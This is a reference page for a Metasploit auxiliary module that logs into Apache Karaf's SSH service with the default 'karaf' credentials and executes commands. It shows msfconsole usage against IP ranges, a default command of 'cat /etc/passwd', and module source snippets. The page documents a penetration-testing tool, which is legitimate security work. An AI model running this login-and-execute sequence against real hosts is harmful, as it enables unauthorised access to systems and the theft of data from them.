Apache Karaf Default Credentials Command Execution - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/ssh/apache_karaf_command_execution metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Apache Karaf Default Credentials Command Execution
Module: auxiliary/scanner/ssh/apache_karaf_command_execution
Source code: modules/auxiliary/scanner/ssh/apache_karaf_command_execution.rb
Disclosure date: 2016-02-09
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 8101
List of CVEs: -
This module exploits a default misconfiguration flaw on Apache Karaf versions 2.x-4.x. The 'karaf' user has a known default password, which can be used to login to the SSH service, and execute operating system commands from remote.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/ssh/apache_karaf_command_execution
msf auxiliary(apache_karaf_command_execution) > show options
... show and set options ...
msf auxiliary(apache_karaf_command_execution) > set RHOSTS ip-range
msf auxiliary(apache_karaf_command_execution) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(apache_karaf_command_execution) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(apache_karaf_command_execution) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(apache_karaf_command_execution) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the scanner/ssh/apache_karaf_command_execution auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/ssh/apache_karaf_command_execution
msf6 auxiliary(scanner/ssh/apache_karaf_command_execution) > show info
Name: Apache Karaf Default Credentials Command Execution
Module: auxiliary/scanner/ssh/apache_karaf_command_execution
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2016-02-09
Provided by:
Nicholas Starke <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD cat /etc/passwd yes Command to Run
PASSWORD karaf yes Password
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8101 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME karaf yes Username
Description:
This module exploits a default misconfiguration flaw on Apache Karaf
versions 2.x-4.x. The 'karaf' user has a known default password,
which can be used to login to the SSH service, and execute operating
system commands from remote.
Module Options
This is a complete list of options available in the scanner/ssh/apache_karaf_command_execution auxiliary module:
msf6 auxiliary(scanner/ssh/apache_karaf_command_execution) > show options
Module options (auxiliary/scanner/ssh/apache_karaf_command_execution):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD cat /etc/passwd yes Command to Run
PASSWORD karaf yes Password
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8101 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME karaf yes Username
Advanced Options
Here is a complete list of advanced options supported by the scanner/ssh/apache_karaf_command_execution auxiliary module:
msf6 auxiliary(scanner/ssh/apache_karaf_command_execution) > show advanced
Module advanced options (auxiliary/scanner/ssh/apache_karaf_command_execution):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSH_DEBUG false no Enable SSH debugging output (Extreme verbosity!)
SSH_IDENT SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 yes SSH client identification string
SSH_TIMEOUT 30 no Specify the maximum time to negotiate a SSH session
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/ssh/apache_karaf_command_execution module can do:
msf6 auxiliary(scanner/ssh/apache_karaf_command_execution) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/ssh/apache_karaf_command_execution auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/ssh/apache_karaf_command_execution) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- <IP>:<RPORT> - Unknown error
- <IP>:<RPORT> SSH - Unable to connect to this Apache Karaf (<E.MESSAGE>)
- <IP>:<RPORT> SSH - Disconnected during negotiation
- <IP>:<RPORT> SSH - Timed out during negotiation
- <IP>:<RPORT> SSH - Failed authentication
- <IP>:<RPORT> SSH Error: <E.CLASS> : <E.MESSAGE>
- <IP>:<RPORT> - Command failed to execute
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<IP>:<RPORT> - Unknown error
Here is a relevant code snippet related to the "<IP>:<RPORT> - Unknown error" error message:
82: Net::SSH.start(ip, user, opts)
83: end
84: if ssh
85: print_good("#{ip}:#{rport} - Login Successful ('#{user}:#{pass})'")
86: else
87: print_error "#{ip}:#{rport} - Unknown error"
88: end
89: rescue OpenSSL::Cipher::CipherError => e
90: print_error("#{ip}:#{rport} SSH - Unable to connect to this Apache Karaf (#{e.message})")
91: return
92: rescue Rex::ConnectionError
<IP>:<RPORT> SSH - Unable to connect to this Apache Karaf (<E.MESSAGE>)
Here is a relevant code snippet related to the "<IP>:<RPORT> SSH - Unable to connect to this Apache Karaf (<E.MESSAGE>)" error message:
85: print_good("#{ip}:#{rport} - Login Successful ('#{user}:#{pass})'")
86: else
87: print_error "#{ip}:#{rport} - Unknown error"
88: end
89: rescue OpenSSL::Cipher::CipherError => e
90: print_error("#{ip}:#{rport} SSH - Unable to connect to this Apache Karaf (#{e.message})")
91: return
92: rescue Rex::ConnectionError
93: return
94: rescue Net::SSH::Disconnect, ::EOFError
95: print_error "#{ip}:#{rport} SSH - Disconnected during negotiation"
<IP>:<RPORT> SSH - Disconnected during negotiation
Here is a relevant code snippet related to the "<IP>:<RPORT> SSH - Disconnected during negotiation" error message:
90: print_error("#{ip}:#{rport} SSH - Unable to connect to this Apache Karaf (#{e.message})")
91: return
92: rescue Rex::ConnectionError
93: return
94: rescue Net::SSH::Disconnect, ::EOFError
95: print_error "#{ip}:#{rport} SSH - Disconnected during negotiation"
96: return
97: rescue ::Timeout::Error
98: print_error "#{ip}:#{rport} SSH - Timed out during negotiation"
99: return
100: rescue Net::SSH::AuthenticationFailed
<IP>:<RPORT> SSH - Timed out during negotiation
Here is a relevant code snippet related to the "<IP>:<RPORT> SSH - Timed out during negotiation" error message:
93: return
94: rescue Net::SSH::Disconnect, ::EOFError
95: print_error "#{ip}:#{rport} SSH - Disconnected during negotiation"
96: return
97: rescue ::Timeout::Error
98: print_error "#{ip}:#{rport} SSH - Timed out during negotiation"
99: return
100: rescue Net::SSH::AuthenticationFailed
101: print_error "#{ip}:#{rport} SSH - Failed authentication"
102: rescue Net::SSH::Exception => e
103: print_error "#{ip}:#{rport} SSH Error: #{e.class} : #{e.message}"
<IP>:<RPORT> SSH - Failed authentication
Here is a relevant code snippet related to the "<IP>:<RPORT> SSH - Failed authentication" error message:
96: return
97: rescue ::Timeout::Error
98: print_error "#{ip}:#{rport} SSH - Timed out during negotiation"
99: return
100: rescue Net::SSH::AuthenticationFailed
101: print_error "#{ip}:#{rport} SSH - Failed authentication"
102: rescue Net::SSH::Exception => e
103: print_error "#{ip}:#{rport} SSH Error: #{e.class} : #{e.message}"
104: return
105: end
106:
<IP>:<RPORT> SSH Error: <E.CLASS> : <E.MESSAGE>
Here is a relevant code snippet related to the "<IP>:<RPORT> SSH Error: <E.CLASS> : <E.MESSAGE>" error message:
98: print_error "#{ip}:#{rport} SSH - Timed out during negotiation"
99: return
100: rescue Net::SSH::AuthenticationFailed
101: print_error "#{ip}:#{rport} SSH - Failed authentication"
102: rescue Net::SSH::Exception => e
103: print_error "#{ip}:#{rport} SSH Error: #{e.class} : #{e.message}"
104: return
105: end
106:
107: ssh
108: end
<IP>:<RPORT> - Command failed to execute
Here is a relevant code snippet related to the "<IP>:<RPORT> - Command failed to execute" error message:
117: store_loot("apache.karaf.command",
118: "text/plain",
119: ip,
120: output)
121: vprint_status("#{ip}:#{rport} - Loot stored at: apache.karaf.command")
122: else
123: print_error "#{ip}:#{rport} - Command failed to execute"
124: end
125: end
126: end
127: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12354 Merged Pull Request: Remove targets from aux and post modules
- #10456 Merged Pull Request: Remove SSH scanner using known_hosts
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7339 Merged Pull Request: Bug/7321/fix ssh modules
- #7018 Merged Pull Request: Un-Vendor the net-ssh library
- #6673 Merged Pull Request: Move apache_karaf_command_execution to the SSH directory
Go back to menu.
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/apache_activemq_source_disclosure
- auxiliary/scanner/http/apache_activemq_traversal
- auxiliary/scanner/http/apache_flink_jobmanager_traversal
- auxiliary/scanner/http/apache_mod_cgi_bash_env
- auxiliary/scanner/http/apache_normalize_path
- auxiliary/scanner/http/apache_optionsbleed
- auxiliary/scanner/http/apache_userdir_enum
- auxiliary/scanner/ssh/cerberus_sftp_enumusers
- auxiliary/scanner/ssh/detect_kippo
- auxiliary/scanner/ssh/eaton_xpert_backdoor
- auxiliary/scanner/ssh/fortinet_backdoor
- auxiliary/scanner/ssh/juniper_backdoor
- auxiliary/scanner/ssh/karaf_login
- auxiliary/scanner/ssh/libssh_auth_bypass
- auxiliary/scanner/ssh/ssh_enum_git_keys
- auxiliary/scanner/ssh/ssh_enumusers
- auxiliary/scanner/ssh/ssh_identify_pubkeys
- auxiliary/scanner/ssh/ssh_login
- auxiliary/scanner/ssh/ssh_login_pubkey
- auxiliary/scanner/ssh/ssh_version
- auxiliary/dos/http/apache_commons_fileupload_dos
- auxiliary/dos/http/apache_mod_isapi
- auxiliary/dos/http/apache_range_dos
- auxiliary/dos/http/apache_tomcat_transfer_encoding
- auxiliary/gather/apache_rave_creds
- auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key
- exploit/linux/http/dlink_dcs_930l_authenticated_remote_command_execution
- exploit/multi/http/metasploit_webui_console_command_execution
- exploit/windows/browser/ms14_064_ole_code_execution
- auxiliary/dos/windows/ssh/sysax_sshd_kexchange
- auxiliary/fuzzers/ssh/ssh_kexinit_corrupt
- auxiliary/fuzzers/ssh/ssh_version_15
- auxiliary/fuzzers/ssh/ssh_version_2
- auxiliary/fuzzers/ssh/ssh_version_corrupt
Authors
- Nicholas Starke <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.